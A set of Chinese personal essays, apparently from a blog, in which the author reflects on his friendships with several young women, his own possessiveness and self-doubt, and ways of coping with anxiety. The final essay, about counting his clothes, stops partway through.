　　为什么会有这种想法？因为它们精准命中我的审美区域；命中审美区域的是什么？外貌，设计，创意，亦或者情绪；它们有什么共同特点？我一时凝怔。

　　它们都可以叫做资源。或者说，一种并不明码标价，但仍有价值和使用价值的东西。而这，或许正是我想要挪为私用的原因。

　　刘慈欣曾写过这样一个故事：一颗超新星爆发，让所有成年人寿命压缩。各国紧急选举 12 岁以下的孩子们作为继任者。孩子们进入一片山谷，山谷被划为二十多片国土，而他们的唯一目的只有一个：生存并且壮大。选拔完成，大人死去，这些小小继任者顽劣心和贪心大起，纠纷不断，战争纷飞，竟几近动用核武器。

　　这个故事里面，国土、人口和水也是一种资源，而这些，相比上面来说，价值大概只会更大。而它们以孩子的形式呈现给我，使我接受了莫大的冲击。

　　我一直觉得自己并不傲慢，并不贪婪，我懂得这些道理。但若像《超新星纪元》和《最棒合伙人》那样放到微观尺度，我却发现并没有懂。

　　我是否也将美丽当成一种资源，如那些孩子一样，在心中打响了一场微型战争？

　　我想想那些让我羡慕不已的人，那一瞬间，我想，我大概明白了什么。

　　人总是向往自己所未拥有的东西。这些资源抽象，但正因如此，比具象更纯粹。

　　而抽象的往往只能通过具象表达出来。

　　我并不拥有美貌，创意，或是阳光的性格。所以我希望拥有它们。

　　当面对这样的人，想拥有这些抽象的资源，最简单的方法，就是占有这些具象的人或者物品。

　　然而，问题在于：占有终究只是占有，它们并不真正属于你。

　　「附庸的附庸，不是我的附庸。」

　　转念一想，我是否拥有别人钦慕的东西？默念许多日，得出的最准确的答案是：无解。

　　这种独占美的想法，只是一个起兴。严格来讲，这篇文章更像是一封检讨书，一封由此想法引开来的检讨书。

　　检讨我自己的两性及人际关系。

　　我所希望拥有的东西，大都具象在「人」身上，而非「物品」。

　　

　　我希望借我与一个朋友的交往贯穿此文。她姓杜，此处暂称为杜小姐。

　　杜小姐亭亭玉立，初次见她，感觉人很好。后面也印证了这个猜想。

　　对于她的初次了解，是在某天深夜，陪我们共同的一个朋友 K 散心。她说了很多自己对于 K 目前情感状况的看法。

　　K 很开朗，彼时，正在因喜欢一个人而苦闷中。

　　对于喜欢与爱，我向来觉得，喜欢与爱，从来都比被喜欢与被爱来得要好，价值更高。

　　喜欢一个人能带来正向的自我反馈，这种感觉上的激励和向上的欲望，是被喜欢所不能比拟的。

　　我们会尝试喜欢的人吃的食物、佩戴的饰品，在意对方的习惯和所做的事情。它们会在我们的眼里闪闪发光，并由光环效应所扩散得更大。

　　喜欢作用的结果在自己身上，伴随一生。而被喜欢能够带来一种安心感和信任，虽说它们也很重要，但终究浮萍一道，不知会随着对方消失在哪里。

　　此为反省其二。

　　但这些也仅一家之辞，听听就好。爱与被爱，感觉都没有那么坏。

　　K 在向我们吐露这些苦闷时，总觉得在向我们传播负能量。杜小姐说：“这是正常的倾诉，而不是倾倒。也在我们的接受范围之内，没那么严重，也没有那么糟糕。”杜小姐尽力地在安慰着她。

　　为了彻底解开心结，她还率先做了示范。两者差距之大，一见便知。K 至此彻底宽心下来。

　　那时便觉得她三观极正。

　　我在人际关系中，有时会有受害者心态。希望自己有着受害者的立场，以占取道德制高点；或是希望别人成为过错方，以便自己能够做点什么。那时的宽慰更像是对别人的施舍与恩赐，带着严重的功利和债权气息。

　　这些都不道德，是深受纵向关系毒害的表现。我一定要压你一头，显得我高人一等。所以每每这时，我会觉得特别罪恶。

　　此为反省其三。

　　但杜小姐似乎从来不这么想，她和朋友双方，从来对等而坦诚。不会存在“欠一顿安慰”这样的说法。

　　我曾对她感慨说：“如果每个人都像你这样，有这样的家庭和性格，世界上该少多少罪犯。”结果成功收获一句笑骂，说我情商低。我一笑置之。

　　杜小姐很擅长沟通，每次都能精准表述，对于别人的陈述也能一针见血，扼住命脉。她袒露自己最近也遇到过一些感情问题，并且将那种现象和感觉描述得很准确。对 K 的问题也针砭“事”弊，一个问题接一个问题地解决。

　　坦诚、善良、温暖、美丽、阳光且善于言辞和安慰。她似乎就是一座，移动的、形而上学般的美好品质大厦。

　　当时几乎在心里一口认定，大概对不少男生来说，杜小姐都是一位理想的女性。

　　事情发生在后来。

　　之后杜小姐为了完成学校体育课任务，说要跑步。于是我们便一起在晚上散步或者快走——将配速压在 12 分钟以内。

　　她与我说了许多许多事情。这些事情，让我觉得我们关系更好了。

　　她曾一边笑着说：“我对你是不是说太多了？”一边又认真地问我：“听太多别人的故事，会不会让你觉得很累？”

　　我笑笑说：“可能确实挺多的。”

　　信任无论何时都是稀缺资源，所以我承诺不会对外说出去。

　　我十分感激她的信赖，所以这里并不多写她的故事。

　　只是私下里反复想想这些观点与经历，得出一个结论：我们两个差得颇多。庸俗点说，有些三观不合，但并不是很高。

　　她自由，不爱被拘束，也不愿想得太多，不想内耗也不怎么会内耗。我想，如果有个相似的三观极正并且同样热爱自由的伴侣，杜小姐和他出去旅游，一定是一件究极浪漫的事情。

　　而倾诉这么多之后，才发现这样的事实，未免有些悲情难过。

　　我曾和一个朋友说，我觉得每个人的底层都有三组基本逻辑：自信和自卑、乐观和悲观（或者说积极与消极）、急性子和慢性子。据此可以分成八派，三观不合的人，大概就是其中两组差得太多。

　　他笑着否决了这个观点，然后说了一句我至今都难忘的话。

　　三观不合，只是对于某些事情的看法上，有着 不可调和的矛盾 ，或者 不能退让的底线 罢了。

　　末了还补一句：“哪有你这种乱七八糟的说法。”

　　我觉得他这样的观点更为合理。自己之前的看法，确乎是太过唯心了些。

　　此为反省其四。

　　我和杜小姐之间，确乎是相差得有些多。用我之前的逻辑便是，她自信，我自卑，她乐观，我悲观。

　　但朋友之间，这些不合并不会发生太多摩擦。朋友之间耦合松散，不像爱情。

　　前两天看了一本带肉的漫画，对于漫画印象最深的，并非那些性感撩拨或者情欲擦边的分镜，而只是女主角一个朋友的一句话。

　　女主角带着朋友和男主角出去喝酒，因不胜酒力提前醉倒，趴在桌上傻笑。彼时女主和男主刚刚确立关系。而朋友并不知情。

　　朋友在桌对面看着她开始笑。然后转头问男主角：“她最近的这些变化都是因为你吧？”

　　“为什么这么说？”

　　“她呀，以前跟我一起出来喝酒，如果遇到事情的话，基本上一喝醉就会开始哭。哭个不停。但是现在却在笑。”

　　这句话在那天给我带来了巨量的冲击。

　　我觉得这是真正的朋友才能说出来的话 ，只有一起经历过，了解过，才知道某个细节背后代表着什么。比如某次马尾扎高，长发剪为短发，亦或者解下围巾系给对方，偷偷买帅气的衣服，都可能代表着另一个维度的含义。

　　如果要做朋友，我希望成为这样的朋友。

　　虽然观念之间有些差异，但我也希望在杜小姐的身边，我是这样的一个朋友。

　　

　　友情已执笔至此，爱情却谈及寥寥。

　　诚然，我原来也妄想过占有杜小姐的女性美，毕竟杜小姐形容娇嬿，姿态柳转，但后来没了兴趣也深知不可能。

　　加西亚 • 马尔克斯所著的《霍乱时期的爱情》号称穷尽世间所有类型的爱情，但雷蒙德 • 卡佛的《当我们在谈论爱情时我们在谈论什么》却完全对立，从来不给出一个确切的答案。爱情本就千人千面。

　　我的一个朋友说：“如果你爱一个人，你得接受对方的所有不完美，也需要有勇气把自己最肮脏，最丑陋，最不为人知的一面拿出来给对方看。”

　　我没有这样的勇气，但我同意别人对于爱情的慎重。

　　“是不是越长大成熟，越难爱上一个人了？”

　　“不是越难爱上人了，而是越能分辨清楚那是不是爱。”

　　对于杜小姐，我了然明白自己的羡慕与敬意，所以也无需拿出那份连自己都会吓到的勇气。

　　有时我会想，是否我对于所有人的感情，都包装在羡慕与崇拜之下，而丧失了喜欢的勇气？

　　此为反省其五，但我已经思索过很久了，并且从未得出过结果。

　　或许只是我不愿想吧。

　　我确乎是想要一个女朋友，但我也深知这种事情，实际感受远比一个名号更为重要。民法中对于事实婚姻的称号和效力向来争论不休，但鲜见轻视实际生活的情况。

　　而对于感受，大抵真的只有爱情的双方才能体会了。

　　

　　研墨渐淡，行文至末。 我希望向杜小姐道一个歉，也希望向读者道一个歉。

　　对于杜小姐，对于借她行文怀有愧疚；而对于读者，让你们看到一篇文不对题文字，确乎是有些歉意。全文都只是笔者的自我追省罢了，而此题目，归根究底只是一个比兴。

　　时至今日我仍会有占有美的想法，只是好在我大莫是能控制住它们了。

　　于此，算是一件幸事吧。也不枉那些深夜自我拷问的日子。

　　行文至此，悉数掷笔，未尽之事，随风随念。

　　

　　南国微雪 Miyuki

　　2022 年 12 月 19 日

写在后面

　　每次写文章都像是在难产，删改无数，增添寥寥。合笔之时，终有舒了一口气的感觉。

　　每次两性和人际关系的话题，我都很矛盾。想聊，但总是觉得自己还有待提升。

　　虽有隐隐的文章结构，但若看不出来，那便也罢了吧。

她与水獭

封面图

摄影师 | amanda panda

图源 | Unsplash

写在前面

2435 字 | 朋友 | 人物传记

正文

　　与贺的相识，完全出于意外。

　　彼时书荒，我问 K，有没有什么书推荐。她说，她朋友在看《顾城的诗》和《橘子不是唯一的水果》。我随口应着：“啊，顾城的诗挺好看的。”于是 K 之后便传来震惊的声音：“我朋友说竟然有人看顾城的诗！”

　　一阵无语。

　　我和贺，便这样，以 K 为中间人，互相传递着看法。

　　这便是，我与贺的初识。虽说彼时双方犹如双盲实验一般，互相不知。

　　之后，杳无音讯，却与 K 日渐熟悉。我只当这只水獭是一个插曲，再不会有相见的机会。

　　然而，事实证明，人与人之间的缘分，甚为微妙。

　　

　　某天晚上，K 来找我们一起约饭。贺与 K 在一起，但她有事情要先走。

　　于是 K 先给我说：“微雪，她想认识一下你。”我愣了一下，看了看贺。而她点了点头。“她就是那晚跟你聊顾城的女孩子。”K 补充说。

　　当时人真的很懵。

　　“啊……啊……哦……行，不过咱们先吃饭吧。”

　　最后还是败给了肚子。

　　“你把那个女生的 QQ 推我一下吧。”暂时果腹之后，我记起这件事。

　　那个时候真的很巧，我前不久在平台上刷到一首很喜欢的诗。而在那之前，也有人跟我说在看这个诗人的诗。

　　发送好友请求。

　　通过。

　　「你好呀！」

　　「你好啊 w。」

　　「前两天我刷到一首诗，我好喜欢！博尔赫斯你听说过吗？」我补充。

　　「知道啊，」末了，水獭补充道，「我用什么才能留住你？」

　　一语中的。我看到的，喜欢的，也就是这首诗。

　　我更确定了她文学少女的印象。知道她是那晚的人，我想象了一下一个女孩子安静读顾城的样子。我几乎就确定了这种感觉。

　　她的知识面挺广。不过据她说，其实也没有看过多少诗集，也没看过多少书。

　　我不信。

　　不过我们此时，开始了各种话题的征程。

　　

　　我们开始聊诗人，聊文学，但似乎也不满足于这样。后面聊电影，聊性格，聊观念。

　　而此时，我们认识不到五天。就算我此时执笔，满打满算也不足半个月。然而一株三叶草却安静地挂在我和她的聊天窗边。

　　我不知道这株三叶草会不会变成四叶草。但无论如何，会，与不会，都不会影响最终的结局。

　　结局是什么？

　　我曾经问她，你觉得世界上有纯洁的异性友谊吗？她说，相信，因为她有。她有一个一直持续到现在的朋友。然后还过来反问我。

　　我说，相信，理由大莫相同。

　　水獭曾经和我说，我像是世界上的另一个她：我们有很多观念惊人地相同。

　　我们对诗歌这一体裁有着相同的感受，美而不可言说；对诗人有着相同的认知，大多颓丧，但有一种不可抗拒的力量；对午觉睡过头抱有相同的罪恶感；对心理郁结的表达有着相同的处理方式。

　　但我其实不知道怎么回应。我倒是听说过相反人假说：世界上有另一个人与你完全相反，两人之和为零，也即你健康时，对方久病难愈，你开心时，对方定会难过欲绝。这不太讨人喜欢，不过对象，也肯定不是水獭。因为我们很类似，开心时，也几乎都心情愉快。

　　水獭为人温和，我想这大概就是她朋友众多的原因。

　　K 很喜欢她。每每 K 迟到，她都是说两句，也不太生气——除非让人等一两小时。我也没怎么见过她生气的样子。她与我一致，在表达自己的愤怒之前，会向对方发出警告：“我现在有些生气。”然后离开，去冷静。我从来没有见到过她施展这条法则。

　　而更多的，是体贴解意。许多次，我们在聊一些比较敏感的话题，她的语气都会变得小心而谨慎，有时还会撤回。我时常在这边看得想笑。也是那个时候，我对她说，你不必如履薄冰，我和你一样，不舒服会直接说出来，没有看到就普通正常一些就好。她哈哈大笑起来：“好。”

　　或许，正是如此，她也遇到了很多奇怪的人。这些人，大多是冲她而来的追求者。

　　有人加了她联系方式之后，立刻说她长得很像前任，于是想要追她；还有人加了之后，说一些乱七八糟又震撼人心的句子：今天下雨是因为上天看见她而流口水；还有人，她本以为是朋友，而对方却生出暗心，觉得她若即若离，悬而未决，故意吊人以谋利，继而诽谤和中伤。

　　「我遇到的奇葩真的很多。」她不止一次地跟我说。K 也和我如此说过，说她没有遇到过几个正常人，说我算是正常人中的一个。

　　而她关于我的看法则是：一个很厉害的学长。

　　我苦笑，沉默。

　　我不厉害，她才厉害。我没有遇到过这样的事情，或许跟我本身的奖励价值不高有关，但遇到这样乱七八糟的事情，能够优雅地处理过去，这才是厉害。

　　

　　水獭，一种水栖、肉食性哺乳动物，具有细长、流线型的身体结构，身体优美灵活，四肢较短。大多数都具有锋利的爪。性格凶猛，在遭到猎犬围捕时，敢于向身形较大的进攻者发起反抗，曾有咬死猎犬的记载。部分物种濒危，属于国家一级保护动物。

　　贺，面容姣好，体型优美，姑射神人，性情温和但并不懦弱，危险境地之中敢于反抗与抽身而退。或许确实和水獭有些类似吧。

　　四肢较短？呵，谁知道呢，反正身高比我要高。大概四肢也比我长吧。

　　她曾经心心念念要吃一种小吃。学校外面小吃街有卖，名叫热奶宝。有天她因事之故，得愿以偿，买了一个。

　　「你买好了之后拍一张我看一下？」

　　「好啊，我可想吃了。错过三四回了。」

　　甜筒状，里面装着紫米，外面加层奶油。

　　她发来的是视频。图像之中，她手握甜筒，手上不停地转着圈圈，能清楚地看到她颀长的手指和低调的指甲色彩。兴奋至此，手舞足蹈，乐极生悲。

　　「我奶油掉地上了！」

　　「你还没吃？」

　　「嗯……奶油有点稀，就……滑下去了……」

　　「太棒了。」

　　「你不要笑啊，这是一个很难过的事情。」

　　「啊，好好好，我不笑，我不笑，哈哈哈哈哈哈哈。」

　　「……不行，我得再回去买一个，这太亏了。」

　　「可惜只有一份奶油了。」

　　「……」

　　总体而言，善良优雅，富于极高的生活感知力，是她的素养，而素养这样的上层建筑，一直难能可贵。如果有谁撕去了她的温和，大概也是肇事者过于放诞无礼之故罢。

　　水獭，并非我给予她的名字，而来源于她更早的朋友。我曾好奇问过此名缘故，结果只得了一个啼笑皆非的答案。

　　“为什么他们都叫你水獭？”

　　“因为他们说我笑起来像水獭。”

　　若是三叶草不能成长为四叶草，就让这篇文以四叶草之名，化诗歌化文学，化电影化故事，送抵水獭身边吧。

　　

　　南国微雪 Miyuki

　　2022 年 12 月 5 日

写在后面

　　文学少女，实属纳罕。在这快餐时代，是一个十分花费时间精力的爱好了。

　　此生如烟火，最后绽放间美丽如花。

何谓阳光

封面图

摄影师 | Julia Caesar

图源 | Unsplash

写在前面

3124 字 | 心绪强烈 | 朋友 | 性格 | 阳光

正文

　　遇到了一个很神奇的人。

　　暂不论她姓谁名何，以 K 代称。 她是我今年遇到过的，最神奇、也最外向开朗的女生。

　　她和我都比较神经病，只不过本质上区别很大。她属于那种比较阳光的神经病。

　　那种阳光，我只一眼就知道，我，永远也不可能学会。

　　人以群分，社团见面会，俩神经病凑一块儿了。

　　

　　就在前不久，她忽然咚咚咚跑过来，一串语音轰炸我：啊啊啊啊，卧槽，我今天训练看到了好帅一男的！

　　我手机差点儿没丢出去。

　　“咋了咋了，慢慢说，没事，不着急。”

　　“就，我在隔壁看到一男的，跳舞真的好帅，卧槽。我真的……”

　　语音转文字，就凭这机翻出来的信息我都知道她多兴奋。我又听了一遍，感觉她那边就差一个满是粉红色泡泡的背景墙了。

　　她把后续一说，我一听，巧了，那俩男生我还认识。她问了问情况，我决定推荐其中一个男生。那人公认的人品好，与我也略有交往，但不是很熟。所以我将她送到了会长那里去，会长和他熟。

　　K 和会长进行初步交涉。

　　会长了解基本情况。

　　会长决定帮一把。

　　K 获得了那个男生 T 的微信号。

　　“卧槽！我加他，他秒过！现在怎么办啊？”

　　“别急，你这一惊一乍的，有点吓人。”

　　是时，夜已深。我鼓励她去和 T 打开话题，然后升温，不过不急这一晚上，叫她先睡觉。我还开玩笑说：“要是你真急这一晚上，不如直接上去，嘿，咱俩试试？”她哈哈两声。

　　随后我们互道晚安。

　　锁屏，扔一边儿，继续写日记。

　　半晌，手机开始震动。

　　这妮子到底怎么了……我日记还没写完呢……

　　“你看我多社恐。”

　　随后发来一张图，微信的聊天记录。

　　「我通过了你的朋友验证请求，现在我们可以开始聊天了。」

　　「你好，结婚。」

　　我——目瞪口呆。心里就俩字：卧槽。

　　这姑娘是真的干的出来的人。

　　“完了，被批判了。”

　　“咋了？”

　　然后她发来一张她和会长的微信聊天记录。里面她也和会长发了那张“你好，结婚”的截屏。

　　「你是真大哥，我靠。」

　　幸好我们三人三个地方，要不我估计我和会长得面面相觑，大眼瞪小眼。

　　又来一张。

　　「等下你要发什么？我先看看妥不妥当，要不他以为我搞他。」

　　会长已经完全被整怕了。

　　我在这边也完全不知道说什么好，须臾茶凉。最后硬生生憋出一句话。

　　“K 同志。”

　　“请讲。”

　　“你之前追过人吗？”

　　“……”

　　然后我听她说以前那些似是而非的追人和被追的经历，越看越忍不住发笑。

　　这不是阳光，这是傻啊，孩子。

　　“没事没事，我的塔罗牌告诉我明天会脱单。”

　　“你这塔罗牌，走私来的吧？”我有些无语，“早点睡吧，睡一觉，男朋友明天就会有的。”

　　后来我再问她时，才知道她说的是明年，而不是明天，她打错了。

　　打错的后果很严重，我顺着她的话说了。

　　翌日，我去社团在的地方练舞，迎头撞上 K，跟她对上眼。

　　她中气十足地来了一句怒号。

　　“我男朋友呢？”

　　我看着其他社员惊恐的眼神，转头就跑。

　　“你不要过来啊啊啊！”

　　“我男朋友呢？我男朋友呢？我男朋友呢？我男朋友呢？……”

　　她一直追着我，楼梯都下了三个转角。俩人就跟小孩儿一样。

　　

　　某天夜里，K 同志又给我发消息。

　　“咋了？我这边没消息哦，你找会长吧。”

　　“不是，你，为啥觉得我是为了打探消息……”隔着屏幕似乎听到了哭声，“在你心中我就是这样的人？”

　　“那倒也不至于，”我有些想笑，“不过也确实想不出来你能有什么其他理由会来找我。”

　　然后 K 同志直接回了这一条：“想你了。”

　　我差点手机没扔出去。

　　这胆子之大令人为之咋舌，反正如我这般唯唯诺诺的人，是不敢直言直语的。

　　“别，您说这话，我折寿的。”

　　“那你折的寿能叠到我身上来吗？”

　　“……”

　　不过她确实是与我来商讨 T 的事宜的。

　　这件事在我心里记得很清楚，甚于前文，甚至一度成为她的性格代表。

　　因为我想，若没有那么纯粹与天真，是万不会说出来的。

　　只认识了几天的人，能开这种玩笑，委实是一种能力。

　　外向，天真，纯粹，单纯与善良。

　　

　　所有这些性格，可以用一个词高度概括——阳光。正是我欲求而不得的东西。

　　海子在《夜色》中写道：“我有三种幸福：诗歌、王位、太阳。”

　　太阳在海子的世界里，象征着他的决心和勇气，是正义的化身。

　　而阳光，是一个人对于太阳的直接感受。温暖、明朗、带给人希望。

　　

　　曾玩过一个游戏，系统在询问玩家，要将女主角性格设定为什么样子？我毫不犹豫地选择了温柔。

　　后来能增加女主角，我才抱着试一试的心态，选择了阳光。

　　结果出乎我的意料。

　　“我能送你一个礼物吗？虽然稍微调查过了，但是还是不知道你喜不喜欢……如果喜欢的话，能给我说一下吗？”

　　“告诉你一个秘密，把手摊开。锵锵！送你的礼物哦！嘿嘿，开心吧？……诶？……已经有了啊……不行！还是收下吧，要不我今天一天都睡不着觉……嘿嘿嘿，谢谢……”

　　如果有想带你去的地方，你拒绝了温柔的女主角，她会失落地离开；而如果你拒绝了阳光的女主角，她会尝试悄悄地拉起你的手到处乱跑，直到你严厉地拒绝，她才会一副泫然欲泣的样子和你说：“好啦，知道了……下次不这么做了，不要这么凶嘛……”

　　看起来真的又好气又好笑。

　　K 就是差不多性格的人。

　　

　　昨天夜里，我对她说，我还挺羡慕你的。

　　她发了一个问号。我也发了一个问号。

　　“很意外吗？”

　　“非常意外哈哈哈哈哈。”

　　之后，碎碎地聊着，日记都还没开始写。同样是深夜，立冬已过，人在自习室脚都快要冻掉了。

　　我说她很阳光。她似乎已经习惯了这么形容似的，一阵哈哈哈哈，然后跟我说，其实她以前还要阳光一点。

　　“以前不会是个疯丫头吧？”

　　“我谢谢你…… 不过高中经历了点不好的事情，后面现在又好了点，和以前差不多了。 ”

　　我那一瞬间，挺心疼的。

　　曾经有人跟我说，重要而秘密的人，别人问起来，大多都会淹没在一句“嗨，纯路人”的玩笑之中。而我的做法，才属于另类。

　　只有深刻的事情，无意间说出来才会这样轻描淡写。

　　我不知道她经历了什么，也不知道她所谓的“不好”究竟有多恶劣，我只能从只言片语里窥见：如是这般，K 以前该是一个怎样活力四射的人。

　　若要形容那种心疼，只能是纯粹的心疼。明明压力巨大，却还勉强着自己对别人笑出来；自己难过得要死，还是笑着对别人说，嗯，不麻烦你了，一定要保重身体；本就是一个爱哭的人，亲人离世之后却冷静地处理完所有的事情，然后对着冰箱里的半碗剩饭崩溃大哭。

　　这种纯粹的心疼。

　　我想，这是 K 的秘密。纵然她与我有点朋友关系，但没有深入到能狂妄地刺探这种事情。

　　

　　“当时我尴尬得很，只能一阵哈哈哈哈掩盖过去。”K 说。

　　“你不是对谁都哈哈哈哈吗？”有个社员说。

　　我们一听，瞬间全场笑开。

　　K 和所有人关系都很好，但并不是不知道分寸。虽然有些傻里傻气，整天乐呵呵。

　　她知道如何维系关系，也知道如何让步，更知道如何维护自己的尊严。

　　我不会猜测她和 T 最后到底会怎样，因为依 T 的性格，大抵不会影响到现在我认识的那个的 K；我也不会猜测她能不能融入我们这个社团家庭，因为这根本就是伪命题；我更不会猜测，她能否找到真命天子，因为这样天然去雕饰的、由内而外的开朗，从来都有着致命的吸引力。

　　如果有哪个男孩子能有幸找到她，见到她柔软的一面，我想，应该是很幸福的吧。

　　

　　在这人物传记、散文两不像的文章最后，我写写她的看法。

　　“你觉得目前自己最大的问题是什么？”

　　“要、挂、科、了。”

　　一个很具有 K 的风格的回答。

　　“你不会要写我坏话吧？”

　　征得 K 的同意后，她问。

　　“你猜？”我笑笑。

　　“不急嘛，可以以后再发给我看。”她说。

　　我有些迷惑。

　　“你还没了解全面呢，我 emo 的一面你还没看到呢，沉稳的时候也没有见到，”她停了一两分钟，然后才发了下一条消息，“虽说我也没咋见到……”

　　半夜笑出声。笑着笑着，忽然感觉有些扎心。我就要离开校园了，这些特殊的一面，还是请留给周围的所有朋友看吧。

　　我这样想着，忽然感觉有些刺眼。

　　我拉开床帘，看向窗外：太阳就快要升起来了。

　　

　　下一束阳光，就要快来临了。

　　

　　南国微雪 Miyuki

　　2022 年 11 月 11 日

写在后面

　　K 即是阳光。笑着的人，总是比难过的人来得讨人喜欢。

　　文章中部分内容为文学艺术加工。

愿你不再焦虑

封面图

摄影师 | Mahmud Ahsan

图源 | Unsplash

写在前面

2495 字 | 存在主义 | 对抗焦虑

正文

　　略一思忖，坚定地写下这个标题。虽如此，更多地，我希望这篇文章对自己也产生某种作用。

　　我希望如木心在《文学回忆录》中所讲的一样，它能“一个字一个字地救出自己”。狂妄一点，我愿它也能在你们夜晚内耗焦虑之时，成为那点点的星光。


　　每个人在时代的裹挟下都容易产生生不逢时，亦或悔不当初的想法。

　　如改革开放一般的好时代，尚且如此。小的时候去走很远的亲戚，有个辈分很高的老人就经常念叨，说很可惜他没敢去沿海，怕太乱，要不然早能德高望重、腰缠万贯了。然而那时候我什么都不懂，只是对着房子外，高山上的雪一直兴奋。现在想起，那些碎碎念当中包含了多少“我本可以”的叹息，虽未经历过不甚了解，但数量之巨一定难以想象，否则不会抱憾至今。

　　世况日下之时，更不必言。历史上“大唐盛世”曾一度将我震撼良久，物资丰饶，他国觐见，享誉全球。然而下一页便是“安史之乱”，将大唐一劈两半：之前有多辉煌，之后就有多凋敝。《上阳白发人》称：“玄宗末岁初选入，入时十六今六十。同时采择百余人，零落年深残此身。”沧海桑田得以窥见。

　　而如今，山雨欲来风满楼，四面八荒全是经济危机的预兆。而我们，在两波浪潮的夹缝中求生。

　　有人说：“每当你觉得焦虑，试着把时间和空间尺度拉大，会好很多。”《时间的风景》这样做了，并附了一段极美的评论：一天的午夜，地球形成。12小时后，在大洋底部，古细胞生物开始蠕动。约6亿年前，无脊椎和有脊椎动物降生。约16：48。4亿年前出现了两栖类。21：36，古生代结束，“恐龙时代”到来。这天结束前40分钟，鳞甲目动物几乎绝迹，地上充斥着哺乳动物。最后四秒才出现人类。

　　但这对我没有任何用处。十七年蝉并不关心地球有多宏大，它们只关心自己能不能找到同类，将种族繁衍下去，若不然，一周之内离世，十七年后再无身影。拉大宏观尺度，这种想法未免太奢侈了一点。而且，这种做法，太过于虚无缥缈，如雾里看花，朦朦胧胧，毫无实感。

　　我们每个人都身兼着无数的期望，这些希冀在我们身上实实在在，完全不能等同几光年之外一颗超新星爆炸，后者与我没有任何关联。普世的做法丝毫不能缓解我的焦虑。


　　每每想到此，便茫然无措，不知道自己该去向何方。而夜深静郁，我也时常在想：“为什么偏偏赶上了我们？”我不想自己满腹经纶，却遇到经济危机，谋生都成问题。

　　但想想，又觉得这实际上是个无解的问题。谁也不能预测自己寒窗十载之后会面临什么，只能一步一步迎接那个时刻来临。甚至，接近一个世纪之前，有许多人，苦读诗书，迎头撞上他国侵犯，被迫参战，壮士出川。那时候，中原大地狼烟四起，亡国灭族之势头几乎箭在弦上了。

　　我们确确实实还没有那么糟糕。 那种时候我们尚且都能熬过来，现在又有什么熬不过来的？

　　经过几个晚上的思索，我发现，相比宏观，解决内耗更倾向于微观。宇宙与我关联不大，但前辈们的浴血，我丝毫不能推脱。更微观一点——我身边的朋友们，一个个，活生生。

　　我存在的意义，不在于宇宙，或许在于民族，但一定在于朋友。宇宙冷漠于我们的生存，民族的命运或许关联于我们的生死，但朋友们，一定无比关心我们的存在。

　　很多人都说：“一台机器不会因为一个齿轮而停止转动。”

　　但我始终觉得，在这个看似无情的机器面前，一定有着能产生蝴蝶效应的巨大力量。 如果每个齿轮都觉得自己不重要，无所谓，进而罢工，总有一天，量变之后的质变势不可当。更况且，这个由无数个变量组成的世界方程里，一定存在着无数个约束条件——我影响了你，你可能会影响他，而他又鼓励另一个人。当约束条件越来越多，牵一发而动全身，谁又会觉得一个齿轮不重要？

　　回想自己的朋友们，一瞬间觉得无比踏实。

　　随处可见的普通人可能是别人生存下去的理由。 我在无数个夜晚之后得出了这个结论。于我而言，我是父母生存下去的理由；是父亲刚病逝的一个朋友，他唯一的兄弟；是远在异乡的一个女孩，她重要的学长；是写过一些文字后有些读者私聊的写手；是某个计算机领域的微小贡献者；是一个介绍过一些人进入舞蹈世界的前辈……

　　你们也会有一些别人无法得到的人，是某些人所依赖的重要之人。 我们都有多重的身份，起码，对于这些人来讲，我们虽都是普通人，但我们都很重要。共产主义的最终目标，是消灭人上人，所以，普通人是对我们来讲，最高的赞誉。

　　我们已经拥有了最高的赞誉。


　　很多时候，比起人，我们更对事情感到焦虑。学业压力、事业未知、家中期待和未来迷茫等等。

　　如果对那浩瀚的世界、漫长的时间感到无所适从，也请将其放到微观尺度吧。相比遥远的目标，眼前的事情更重要。**这并非是鼠目寸光、只顾眼前，而是出于生物上的考量——我们本就不能考虑那样多的事情。变量越多，概率越小，万事具备从某种意义上来讲，绝无可能。**硅步千里、集腋成裘，如果被遥远的目标吓到而放弃，坐地叹息，那便是最坏的结果了。

　　“给岁月以文明，而不是给文明以岁月”。

　　我经常在个体心理学的抑郁位和偏执位上反复横跳，时常觉得自己重要无比，也时常觉得自己无足轻重。于是便经常在宏观与微观尺度之间，寻找一个最好的位置——落寞时便想想朋友，狂傲时便认识宇宙。我想，这大概才是上文中，宏观尺度中的正确认识。

　　我知道，只要我在朝着我认为对的大方向前进，一步一步地走下去，终能抵达目标。就算其中绕了远路，那也是我独一无二的体验，其中收获的知识、技能、想法、认知、经验、感悟，别人不一定有。


　　最后推荐一句话、一首诗和一个游戏。我都很喜欢。

　　「如果没办法缓解对未来的焦虑，那就先做好眼前的事情吧。大雾的清晨是无法看清远方的，但至少脚下的每一步是清晰的。总会有大雾散开的时刻，在那之前，你不能囿于原地，一步都不走。」

　　诗歌是《每个人都有自己的时区》（《Everyone Has Their Own Time Zone》）。而至于《异星工厂》（《Factorio》），每次玩都会觉有一种感悟：那么庞大而震撼的工厂，真的是我慢慢建设出来的吗？如果对于小步前进最后能取得多大的成就没有概念，推荐一玩。


　　这是所有了——我对自己进行的存在主义心理治疗方案，用以对抗虚无主义，以及无数个夜晚的精神内耗。

　　我们见过的所有人，经历过的所有事情，都有用，起码他们一个一个，一件一件地垒成了现在的我们。

　　希望这篇文字对你有用。


　　南国微雪 Miyuki

　　2022 年 10 月 8 日

克莱因蓝

封面图

摄影师 | Alexander Grey

图源 | Unsplash

写在前面

1218 字

正文

　　清点了一下自己的衣服。

　　不清不知道，现在吓一跳。学校里竟然有 49 件衣服。连着身上的一共 51 件。除此之外还有其它一些饰品和护具这样的东西。

　　其实做这事是为了完成我梦想清单上的一个任务：十件不同风格的衣服。这事想做很久了。就现有的衣服来说，已经够完成这个梦想了，甚至还多了一些其它风格的并未算在内。硬要说的话，其实算对自己有特殊意义或风格不同的十件衣服。很主观的一个东西。

　　西装、猫猫外套、暗黑风衣，あの夏へ、KID 长 T、运动短裤什么的。当初犹豫了一下，要不要把围巾算进去，但它毕竟不是衣物，算饰品（笑。

　　基本是每一件都有特殊意义，或风格款式什么的很喜欢。说实话有些买下来真的很需要勇气。

　　不过是当时的勇气罢了，现在看可能不值一提。

　　虽然不是衣物，但摩挲那些衣服时时常让我想起那双鞋。经常穿的那双蓝白相间的板鞋。它真的花费了我巨大的勇气。

　　我仍记得我下单完成之后，跑去和那位小姐说：“我买了一双蓝色的鞋。我想向你靠近，不那么惧怕黑白灰红以外的衣服。”

　　她听完一愣，说那挺好的。

